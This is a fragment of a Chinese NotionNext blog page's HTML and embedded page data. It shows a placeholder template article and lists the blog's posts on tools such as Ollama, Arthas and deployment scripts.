fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-6f00b74f91684ba49b7802b073817e2e"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-575c2b55b7ab415dab017127fa80b461" data-id="575c2b55b7ab415dab017127fa80b461"><span><div id="575c2b55b7ab415dab017127fa80b461" class="notion-header-anchor"></div><a class="notion-hash-link" href="#575c2b55b7ab415dab017127fa80b461" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-3059d59e63214cf7b83b980793108c72">总结文章的内容</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-e22d3df7942e4ba6bcb5d98043c85699" data-id="e22d3df7942e4ba6bcb5d98043c85699"><span><div id="e22d3df7942e4ba6bcb5d98043c85699" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e22d3df7942e4ba6bcb5d98043c85699" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-af3c2cc6ba7d4419a4c8ca13bfa4f703"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-7618802b85cf439d9bf7b309f06ab819"><li>引用文章</li></ul><div class="notion-blank notion-block-516b8278e81846dcada0b6c50c617bb1"> </div><div class="notion-callout notion-gray_background_co notion-block-45d1a9416e7644eeb686c9048159b959"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"95ddf5c1-569e-4c61-a1e8-6507fe59fc97":{"value":{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","version":7,"type":"page","content":["c4ae2757-06af-414a-a57e-b220235fe4f8","51246bd8-8b54-4aed-8890-6ff7f9754758","e47b90fd-4cef-4aa7-8253-733c2fb825c6","51e5efa1-5316-4f26-a034-a63d627d119a","1a99baa7-cd61-4f67-a8db-a8b44045a3a3","68a4a544-5986-4d0e-838e-5d896c28d491","6f00b74f-9168-4ba4-9b78-02b073817e2e","575c2b55-b7ab-415d-ab01-7127fa80b461","3059d59e-6321-4cf7-b83b-980793108c72","e22d3df7-942e-4ba6-bcb5-d98043c85699","af3c2cc6-ba7d-4419-a4c8-ca13bfa4f703","7618802b-85cf-439d-9bf7-b309f06ab819","516b8278-e818-46dc-ada0-b6c50c617bb1","45d1a941-6e76-44ee-b686-c9048159b959"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337109,"last_edited_time":1705630803738,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"0a19abd9-8685-4e4d-97e1-f0adaba36edf","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c